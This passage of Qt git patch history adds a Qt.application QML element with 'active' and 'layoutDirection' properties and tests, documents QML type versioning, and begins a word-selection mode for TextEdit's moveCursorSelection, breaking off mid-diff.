Reviewed-by: Martin Jones --- demos/declarative/snake/snake.qml | 2 +- doc/src/snippets/declarative/application.qml | 53 +++++++++ src/declarative/qml/qdeclarativeengine.cpp | 4 + src/declarative/util/qdeclarativeapplication.cpp | 118 +++++++++++++++++++++ src/declarative/util/qdeclarativeapplication_p.h | 83 +++++++++++++++ src/declarative/util/qdeclarativeutilmodule.cpp | 3 + src/declarative/util/util.pri | 2 + tests/auto/declarative/declarative.pro | 1 + .../qdeclarativeapplication.pro | 5 + .../tst_qdeclarativeapplication.cpp | 96 +++++++++++++++++ 10 files changed, 366 insertions(+), 1 deletion(-) create mode 100644 doc/src/snippets/declarative/application.qml create mode 100644 src/declarative/util/qdeclarativeapplication.cpp create mode 100644 src/declarative/util/qdeclarativeapplication_p.h create mode 100644 tests/auto/declarative/qdeclarativeapplication/qdeclarativeapplication.pro create mode 100644 tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp diff --git a/demos/declarative/snake/snake.qml b/demos/declarative/snake/snake.qml index af86aac..366c172 100644 --- a/demos/declarative/snake/snake.qml +++ b/demos/declarative/snake/snake.qml @@ -105,7 +105,7 @@ Rectangle { source: "content/pics/pause.png" anchors.centerIn: parent; //opacity is deliberately not animated - opacity: activeGame && !runtime.isActiveWindow + opacity: activeGame && !Qt.application.active } Image { diff --git a/doc/src/snippets/declarative/application.qml b/doc/src/snippets/declarative/application.qml new file mode 100644 index 0000000..2820ff2 --- /dev/null +++ b/doc/src/snippets/declarative/application.qml @@ -0,0 +1,53 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//! [document] +import QtQuick 1.1 + +Rectangle { + width: 300; height: 55 + color: Qt.application.active ? "white" : "lightgray" + Text { + text: "Application " + (Qt.application.active ? "active" : "inactive") + opacity: Qt.application.active ? 1.0 : 0.5 + anchors.centerIn: parent + } +} +//! [document] diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index 0a008ff..b940457 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -70,6 +70,7 @@ #include "private/qdeclarativeinclude_p.h" #include "private/qdeclarativenotifier_p.h" #include "private/qdeclarativedebugtrace_p.h" +#include "private/qdeclarativeapplication_p.h" #include #include @@ -521,6 +522,9 @@ void QDeclarativeEnginePrivate::init() listClass = new QDeclarativeListScriptClass(q); rootContext = new QDeclarativeContext(q,true); + QScriptValue applicationObject = objectClass->newQObject(new QDeclarativeApplication(q)); + scriptEngine.globalObject().property(QLatin1String("Qt")).setProperty(QLatin1String("application"), applicationObject); + if (QCoreApplication::instance()->thread() == q->thread() && QDeclarativeEngineDebugServer::isDebuggingEnabled()) { isDebugging = true; diff --git a/src/declarative/util/qdeclarativeapplication.cpp b/src/declarative/util/qdeclarativeapplication.cpp new file mode 100644 index 0000000..53d196f --- /dev/null +++ b/src/declarative/util/qdeclarativeapplication.cpp @@ -0,0 +1,118 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qdeclarativeapplication_p.h" +#include +#include + +class QDeclarativeApplicationPrivate : public QObjectPrivate +{ + Q_DECLARE_PUBLIC(QDeclarativeApplication) +public: + QDeclarativeApplicationPrivate() : active(QApplication::activeWindow() != 0) {} + bool active; +}; + +/*! + \qmlclass Application QDeclarativeApplication + \since QtQuick 1.1 + \ingroup qml-utility-elements + \brief The Application element provides access to global application + state properties shared by many QML components. + + These properties include application activity property \c active. + + \section1 Example Usage + + The following example shows the simplest usage of the Application element. + + \snippet doc/src/snippets/declarative/application.qml document + +*/ + +QDeclarativeApplication::QDeclarativeApplication(QObject *parent) : QObject(*new QDeclarativeApplicationPrivate(), parent) +{ + if (qApp) + qApp->installEventFilter(this); +} + +QDeclarativeApplication::~QDeclarativeApplication() +{ +} + +/*! + \qmlproperty bool Application::active + + This property indicates whether the application is the top-most and focused + application, and user is able to interact with the application. The property + is false when the application is on the background, device keylock or screen + saver is active, the screen backlight is turned off, or global system dialog + is being displayed on top of the application. It can be used for stopping and + pausing animations, timers, active processing of data to save device battery + and free device memory and processor load when the application is not active. + This property is readonly. + +*/ +bool QDeclarativeApplication::active() const +{ + Q_D(const QDeclarativeApplication); + return d->active; +} + +bool QDeclarativeApplication::eventFilter(QObject *obj, QEvent *event) +{ + Q_UNUSED(obj) + Q_D(QDeclarativeApplication); + if (event->type() == QEvent::ApplicationActivate + || event->type() == QEvent::ApplicationDeactivate) { + bool active = d->active; + if (event->type() == QEvent::ApplicationActivate) + active = true; + else if (event->type() == QEvent::ApplicationDeactivate) + active = false; + + if (d->active != active) { + d->active = active; + emit activeChanged(); + } + } + return false; +} diff --git a/src/declarative/util/qdeclarativeapplication_p.h b/src/declarative/util/qdeclarativeapplication_p.h new file mode 100644 index 0000000..59ea7fe --- /dev/null +++ b/src/declarative/util/qdeclarativeapplication_p.h @@ -0,0 +1,83 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QDECLARATIVEAPPLICATION_P_H +#define QDECLARATIVEAPPLICATION_P_H + +#include +#include +#include + +QT_BEGIN_HEADER + +QT_BEGIN_NAMESPACE + +QT_MODULE(Declarative) + +class QDeclarativeApplicationPrivate; +class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeApplication : public QObject +{ + Q_OBJECT + Q_PROPERTY(bool active READ active NOTIFY activeChanged) + +public: + explicit QDeclarativeApplication(QObject *parent = 0); + virtual ~QDeclarativeApplication(); + bool active() const; + +protected: + bool eventFilter(QObject *obj, QEvent *event); + +Q_SIGNALS: + void activeChanged(); + +private: + Q_DISABLE_COPY(QDeclarativeApplication) + Q_DECLARE_PRIVATE(QDeclarativeApplication) +}; + +QT_END_NAMESPACE + +QML_DECLARE_TYPE(QDeclarativeApplication) + +QT_END_HEADER + +#endif // QDECLARATIVEAPPLICATION_P_H diff --git a/src/declarative/util/qdeclarativeutilmodule.cpp b/src/declarative/util/qdeclarativeutilmodule.cpp index 0544f22..5abf085 100644 --- a/src/declarative/util/qdeclarativeutilmodule.cpp +++ b/src/declarative/util/qdeclarativeutilmodule.cpp @@ -66,6 +66,7 @@ #include "private/qdeclarativetimer_p.h" #include "private/qdeclarativetransitionmanager_p_p.h" #include "private/qdeclarativetransition_p.h" +#include "private/qdeclarativeapplication_p.h" #include "qdeclarativeview.h" #include "qdeclarativeinfo.h" #include "private/qdeclarativetypenotavailable_p.h" @@ -75,6 +76,8 @@ void QDeclarativeUtilModule::defineModule() { + qmlRegisterUncreatableType("QtQuick",1,1,"Application", "Application is an abstract class"); + qmlRegisterType("QtQuick",1,0,"AnchorAnimation"); qmlRegisterType("QtQuick",1,0,"AnchorChanges"); qmlRegisterType("QtQuick",1,0,"Behavior"); diff --git a/src/declarative/util/util.pri b/src/declarative/util/util.pri index fd57144..62fa8f1 100644 --- a/src/declarative/util/util.pri +++ b/src/declarative/util/util.pri @@ -1,6 +1,7 @@ INCLUDEPATH += $$PWD SOURCES += \ + $$PWD/qdeclarativeapplication.cpp \ $$PWD/qdeclarativeutilmodule.cpp\ $$PWD/qdeclarativeview.cpp \ $$PWD/qdeclarativeconnections.cpp \ @@ -30,6 +31,7 @@ SOURCES += \ $$PWD/qlistmodelinterface.cpp HEADERS += \ + $$PWD/qdeclarativeapplication_p.h \ $$PWD/qdeclarativeutilmodule_p.h\ $$PWD/qdeclarativeview.h \ $$PWD/qdeclarativeconnections_p.h \ diff --git a/tests/auto/declarative/declarative.pro b/tests/auto/declarative/declarative.pro index 51597bd..1f0d32a 100644 --- a/tests/auto/declarative/declarative.pro +++ b/tests/auto/declarative/declarative.pro @@ -11,6 +11,7 @@ SUBDIRS += \ qdeclarativeanchors \ qdeclarativeanimatedimage \ qdeclarativeanimations \ + qdeclarativeapplication \ qdeclarativebehaviors \ qdeclarativebinding \ qdeclarativeborderimage \ diff --git a/tests/auto/declarative/qdeclarativeapplication/qdeclarativeapplication.pro b/tests/auto/declarative/qdeclarativeapplication/qdeclarativeapplication.pro new file mode 100644 index 0000000..91e5468 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeapplication/qdeclarativeapplication.pro @@ -0,0 +1,5 @@ +load(qttest_p4) +contains(QT_CONFIG,declarative): QT += declarative gui +macx:CONFIG -= app_bundle + +SOURCES += tst_qdeclarativeapplication.cpp diff --git a/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp b/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp new file mode 100644 index 0000000..0d069dc --- /dev/null +++ b/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp @@ -0,0 +1,96 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include +#include "../../../shared/util.h" +#include +#include +#include +#include +#include + +class tst_qdeclarativeapplication : public QObject +{ + Q_OBJECT +public: + tst_qdeclarativeapplication(); + +private slots: + void active(); + +private: + QDeclarativeEngine engine; +}; + +tst_qdeclarativeapplication::tst_qdeclarativeapplication() +{ +} + +void tst_qdeclarativeapplication::active() +{ + QDeclarativeComponent component(&engine); + component.setData("import QtQuick 1.0; Item { property bool active: Qt.application.active }", QUrl::fromLocalFile("")); + QDeclarativeItem *item = qobject_cast(component.create()); + QVERIFY(item); + QGraphicsScene scene; + QGraphicsView view(&scene); + scene.addItem(item); + + // not active + QVERIFY(!item->property("active").toBool()); + QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0); + + // active + view.show(); + QApplication::setActiveWindow(&view); + QTest::qWaitForWindowShown(&view); + QTRY_COMPARE(QApplication::activeWindow(), static_cast(&view)); + QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0); + + // not active again + QApplication::setActiveWindow(0); + QVERIFY(!item->property("active").toBool()); + QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0); +} + +QTEST_MAIN(tst_qdeclarativeapplication) + +#include "tst_qdeclarativeapplication.moc" -- cgit v0.12 From 0371e80ba76b7dcaf1809ba9345fd96610390222 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Tue, 4 Jan 2011 17:25:48 +1000 Subject: Add layoutDirection property to Qt.application element Task-number: QTBUG-16424 Reviewed-by: Martin Jones --- src/declarative/util/qdeclarativeapplication.cpp | 32 ++++++++++++++++++++-- src/declarative/util/qdeclarativeapplication_p.h | 3 ++ .../tst_qdeclarativeapplication.cpp | 23 ++++++++++++++++ 3 files changed, 56 insertions(+), 2 deletions(-) diff --git a/src/declarative/util/qdeclarativeapplication.cpp b/src/declarative/util/qdeclarativeapplication.cpp index 53d196f..f724c16 100644 --- a/src/declarative/util/qdeclarativeapplication.cpp +++ b/src/declarative/util/qdeclarativeapplication.cpp @@ -47,8 +47,10 @@ class QDeclarativeApplicationPrivate : public QObjectPrivate { Q_DECLARE_PUBLIC(QDeclarativeApplication) public: - QDeclarativeApplicationPrivate() : active(QApplication::activeWindow() != 0) {} + QDeclarativeApplicationPrivate() : active(QApplication::activeWindow() != 0), + layoutDirection(QApplication::layoutDirection()) {} bool active; + Qt::LayoutDirection layoutDirection; }; /*! @@ -58,7 +60,8 @@ public: \brief The Application element provides access to global application state properties shared by many QML components. - These properties include application activity property \c active. + These properties include application activity property \c active, + and default layout direction property \c layoutDirection. \section1 Example Usage @@ -97,6 +100,24 @@ bool QDeclarativeApplication::active() const return d->active; } +/*! + \qmlproperty bool Application::layoutDirection + + This property can be used to query the default layout direction of the + application. On system start-up, the default layout direction depends on the + application's language. The property has a value Qt.RightToLeft in locales + where text and graphic elements are read from right to left, and Qt.LeftToRight + where the reading direction flows from left to right. You can bind to the + property to customize your application layouts to support both layout + directions. This property is readonly. + +*/ +bool QDeclarativeApplication::layoutDirection() const +{ + Q_D(const QDeclarativeApplication); + return d->layoutDirection; +} + bool QDeclarativeApplication::eventFilter(QObject *obj, QEvent *event) { Q_UNUSED(obj) @@ -114,5 +135,12 @@ bool QDeclarativeApplication::eventFilter(QObject *obj, QEvent *event) emit activeChanged(); } } + if (event->type() == QEvent::LayoutDirectionChange) { + Qt::LayoutDirection direction = QApplication::layoutDirection(); + if (d->layoutDirection != direction) { + d->layoutDirection = direction; + emit layoutDirectionChanged(); + } + } return false; } diff --git a/src/declarative/util/qdeclarativeapplication_p.h b/src/declarative/util/qdeclarativeapplication_p.h index 59ea7fe..c5cd227 100644 --- a/src/declarative/util/qdeclarativeapplication_p.h +++ b/src/declarative/util/qdeclarativeapplication_p.h @@ -57,17 +57,20 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeApplication : public QObject { Q_OBJECT Q_PROPERTY(bool active READ active NOTIFY activeChanged) + Q_PROPERTY(bool layoutDirection READ layoutDirection NOTIFY layoutDirectionChanged) public: explicit QDeclarativeApplication(QObject *parent = 0); virtual ~QDeclarativeApplication(); bool active() const; + bool layoutDirection() const; protected: bool eventFilter(QObject *obj, QEvent *event); Q_SIGNALS: void activeChanged(); + void layoutDirectionChanged(); private: Q_DISABLE_COPY(QDeclarativeApplication) diff --git a/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp b/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp index 0d069dc..3011257 100644 --- a/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp +++ b/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp @@ -55,6 +55,7 @@ public: private slots: void active(); + void layoutDirection(); private: QDeclarativeEngine engine; @@ -91,6 +92,28 @@ void tst_qdeclarativeapplication::active() QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0); } +void tst_qdeclarativeapplication::layoutDirection() +{ + QDeclarativeComponent component(&engine); + component.setData("import QtQuick 1.0; Item { property bool layoutDirection: Qt.application.layoutDirection }", QUrl::fromLocalFile("")); + QDeclarativeItem *item = qobject_cast(component.create()); + QVERIFY(item); + QGraphicsScene scene; + QGraphicsView view(&scene); + scene.addItem(item); + + // not mirrored + QCOMPARE(Qt::LayoutDirection(item->property("layoutDirection").toInt()), Qt::LeftToRight); + + // mirrored + QApplication::setLayoutDirection(Qt::RightToLeft); + QCOMPARE(Qt::LayoutDirection(item->property("layoutDirection").toInt()), Qt::RightToLeft); + + // not mirrored again + QApplication::setLayoutDirection(Qt::LeftToRight); + QCOMPARE(Qt::LayoutDirection(item->property("layoutDirection").toInt()), Qt::LeftToRight); +} + QTEST_MAIN(tst_qdeclarativeapplication) #include "tst_qdeclarativeapplication.moc" -- cgit v0.12 From eea1c1a0d12920e3c0a0ffe5339e33055ffe0fdd Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Fri, 7 Jan 2011 18:37:47 +1000 Subject: Add missing Qt namespaces macros to qdeclarativeapplication.cpp source file Task-number: Reviewed-by: Aaron Kennedy --- src/declarative/util/qdeclarativeapplication.cpp | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src/declarative/util/qdeclarativeapplication.cpp b/src/declarative/util/qdeclarativeapplication.cpp index f724c16..7559aa9 100644 --- a/src/declarative/util/qdeclarativeapplication.cpp +++ b/src/declarative/util/qdeclarativeapplication.cpp @@ -43,6 +43,8 @@ #include #include +QT_BEGIN_NAMESPACE + class QDeclarativeApplicationPrivate : public QObjectPrivate { Q_DECLARE_PUBLIC(QDeclarativeApplication) @@ -144,3 +146,5 @@ bool QDeclarativeApplication::eventFilter(QObject *obj, QEvent *event) } return false; } + +QT_END_NAMESPACE -- cgit v0.12 From 59b9bce59aacc2cf68a3800f4fcb486d136b91f9 Mon Sep 17 00:00:00 2001 From: Jerome Pasion Date: Fri, 7 Jan 2011 09:54:35 +0100 Subject: Adding a link to the coding style wiki page. --- doc/src/qt-webpages.qdoc | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/doc/src/qt-webpages.qdoc b/doc/src/qt-webpages.qdoc index 0a03157..5799d69 100644 --- a/doc/src/qt-webpages.qdoc +++ b/doc/src/qt-webpages.qdoc @@ -244,3 +244,8 @@ \externalpage http://labs.qt.nokia.com \title Qt Labs */ + +/*! + \externalpage http://qt.gitorious.org/qt/pages/QtCodingStyle + \title Qt Coding Style +*/ -- cgit v0.12 From 6db61ce39aa2fefaa9e22ca84edd8d140a5c6449 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 10 Jan 2011 13:00:54 +1000 Subject: Document property/method versioning in QML. Task-number: QTBUG-13451 Reviewed-by: Bea Lam --- doc/src/declarative/extending.qdoc | 69 ++++++++++++++++++++++++++++++++++ doc/src/declarative/qtdeclarative.qdoc | 15 ++++++++ 2 files changed, 84 insertions(+) diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc index ff519f6..429997f 100644 --- a/doc/src/declarative/extending.qdoc +++ b/doc/src/declarative/extending.qdoc @@ -112,6 +112,75 @@ Person { \l {Extending QML - Adding Types Example} shows the complete code used to create the \c Person type. +\section1 QML Type Versioning + +In C++ adding a new method or property cannot break old applications. +In QML, however, new methods and properties can change what a name previously +resolved to to within a scope chain. + +For example, consider these two QML files + +\code +// main.qml +import QtQuick 1.0 +Item { + id: root + MyComponent {} +} +\endcode + +\code +// MyComponent.qml +import MyModule 1.0 +CppItem { + value: root.x +} +\endcode + +where CppItem maps to the C++ class QCppItem. + +If the author of QCppItem adds a "root" property to QCppItem in a new version of the module, +it will break the above program as \c root.x now resolves to a different value. +The solution is to allow the author of QCppItem to state that the new \c root property is +only available from a particular version of QCppItem onwards. This permits new properties +and features to be added to existing elements without breaking existing programs. + +QML enables this by allowing the properties, methods and signals of a class to be tagged with +a particular \e revision, so that they are only accessible if the relevant module version +is imported. In this case, the author can tag the \c root property as being added in +\e {revision 1} of the class, and register that revision in version 1.1 of the module. + +The REVISION tag is used to mark the \c root property as added in revision 1 of the class. +Methods such as Q_INVOKABLE's, signals and slots can also be tagged for a +revision using the \c Q_REVISION(x) macro: + +\code +class CppItem : public QObject +{ + Q_OBJECT + Q_PROPERTY(int root READ root WRITE setRoot NOTIFY rootChanged REVISION 1) + +signals: + Q_REVISION(1) void rootChanged(); +}; +\endcode + +To register the new class revision to a particular version the following function is used: + +\code +template +int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) +\endcode + +To register \c CppItem version 1 for \c {MyModule 1.1}: + +\code +qmlRegisterType("MyModule", 1, 1, "CppItem") +\endcode + +\c root is only available when MyModule 1.1 is imported. + + \section1 Object and List Property Types \snippet examples/declarative/cppextensions/referenceexamples/properties/example.qml 0 diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc index b0c6e06..5ab4319 100644 --- a/doc/src/declarative/qtdeclarative.qdoc +++ b/doc/src/declarative/qtdeclarative.qdoc @@ -85,6 +85,21 @@ Returns the QML type id. + There are two forms of this template function: + + \code + template + int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName); + + template + int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName); + \endcode + + The former is the standard form which registers the type \e T as a new type. + The latter allows a particular revision of a class to be registered in + a specified version (see \l {QML Type Versioning}). + + For example, this registers a C++ class \c MySliderItem as a QML type named \c Slider for version 1.0 of a \l{QML Modules}{module} called "com.mycompany.qmlcomponents": -- cgit v0.12 From cbf6bfbff8c0643bc82bb2456214994931052bd6 Mon Sep 17 00:00:00 2001 From: Andrew den Exter Date: Fri, 7 Jan 2011 17:42:12 +1000 Subject: Add selection modes to TextEdit and TextInput. Add an overload for moveCursorSelection which takes a parameter specifying whether to update the selection with individual characters or whole words. Task-number: QTBUG-16283 Reviewed-by: Martin Jones --- .../graphicsitems/qdeclarativetextedit.cpp | 89 +++++++++-- .../graphicsitems/qdeclarativetextedit_p.h | 7 + .../graphicsitems/qdeclarativetextinput.cpp | 101 ++++++++++++- .../graphicsitems/qdeclarativetextinput_p.h | 7 + .../tst_qdeclarativetextedit.cpp | 164 ++++++++++++++++++++- .../tst_qdeclarativetextinput.cpp | 163 +++++++++++++++++++- 6 files changed, 512 insertions(+), 19 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index 6a51a3c..7ea3dec 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -579,37 +579,108 @@ int QDeclarativeTextEdit::positionAt(int x, int y) const return r; } +void QDeclarativeTextEdit::moveCursorSelection(int pos) +{ + //Note that this is the same as setCursorPosition but with the KeepAnchor flag set + Q_D(QDeclarativeTextEdit); + QTextCursor cursor = d->control->textCursor(); + if (cursor.position() == pos) + return; + cursor.setPosition(pos, QTextCursor::KeepAnchor); + d->control->setTextCursor(cursor); +} + /*! - \qmlmethod int TextEdit::moveCursorSelection(int pos) + \qmlmethod void TextEdit::moveCursorSelection(int position, SelectionMode mode = TextEdit.SelectCharacters) + \since Quick 1.1 - Moves the cursor to \a position and updates the selection accordingly. - (To only move the cursor, set the \l cursorPosition property.) + Moves the cursor to \a position and updates the selection according to the optional \a mode + parameter. (To only move the cursor, set the \l cursorPosition property.) When this method is called it additionally sets either the selectionStart or the selectionEnd (whichever was at the previous cursor position) to the specified position. This allows you to easily extend and contract the selected text range. + The selection mode specifies whether the selection is updated on a per character or a per word + basis. If not specified the selection mode will default to TextEdit.SelectCharacters. + + \list + \o TextEdit.SelectCharacters - Sets either the selectionStart or selectionEnd (whichever was at + the previous cursor position) to the specified position. + \o TextEdit.SelectWords - Sets the selectionStart and selectionEnd to include all + words between the specified postion and the previous cursor position. Words partially in the + range are included. + \endlist + For example, take this sequence of calls: \code cursorPosition = 5 - moveCursorSelection(9) - moveCursorSelection(7) + moveCursorSelection(9, TextEdit.SelectCharacters) + moveCursorSelection(7, TextEdit.SelectCharacters) \endcode This moves the cursor to position 5, extend the selection end from 5 to 9 and then retract the selection end from 9 to 7, leaving the text from position 5 to 7 selected (the 6th and 7th characters). + + The same sequence with TextEdit.SelectWords will extend the selection start to a word boundary + before or on position 5 and extend the selection end to a word boundary past position 9, and + then if there is a word boundary between position 7 and 8 retract the selection end to that + boundary. If there is whitespace at position 7 the selection will be retracted further. */ -void QDeclarativeTextEdit::moveCursorSelection(int pos) +void QDeclarativeTextEdit::moveCursorSelection(int pos, SelectionMode mode) { - //Note that this is the same as setCursorPosition but with the KeepAnchor flag set Q_D(QDeclarativeTextEdit); QTextCursor cursor = d->control->textCursor(); if (cursor.position() == pos) return; - cursor.setPosition(pos, QTextCursor::KeepAnchor); + if (mode == SelectCharacters) { + cursor.setPosition(pos, QTextCursor::KeepAnchor); + } else if (cursor.anchor() < pos) { + cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor); + cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor); + if (cursor.position() == cursor.anchor()) { + cursor.movePosition(QTextCursor::NextWord, QTextCursor::MoveAnchor); + } else { + cursor.movePosition(QTextCursor::PreviousCharacter, QTextCursor::MoveAnchor); + cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::MoveAnchor); + } + cursor.setPosition(pos, QTextCursor::KeepAnchor); + cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor); + if (cursor.position() == pos) { + cursor.movePosition(QTextCursor::PreviousWord, QTextCursor::KeepAnchor); + cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor); + + if (cursor.anchor() > cursor.position()) + cursor.setPosition(pos, QTextCursor::MoveAnchor); + } else { + cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor); + } + } else if (cursor.anchor() > pos) { + cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor); + cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor); + if (cursor.position() == cursor.anchor()) { + cursor.movePosition(QTextCursor::PreviousWord, QTextCursor::MoveAnchor); + cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::MoveAnchor); + } else { + cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::MoveAnchor); + } + cursor.setPosition(pos, QTextCursor::KeepAnchor); + cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor); + if (cursor.position() == pos) { + cursor.movePosition(QTextCursor::NextWord, QTextCursor::KeepAnchor); + + if (cursor.anchor() < cursor.position()) + cursor.setPosition(pos, QTextCursor::MoveAnchor); + } else { + cursor.movePosition(QTextCursor::PreviousCharacter, QTextCursor::KeepAnchor); + cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor); + } + } else { + cursor.setPosition(pos, QTextCursor::MoveAnchor); + } d->control->setTextCursor(cursor); } @@ -655,7 +726,7 @@ void QDeclarativeTextEdit::setCursorPosition(int pos) if (pos < 0 || pos > d->text.length()) return; QTextCursor cursor = d->control->textCursor(); - if (cursor.position() == pos) + if (cursor.position() == pos && cursor.anchor() == pos) return; 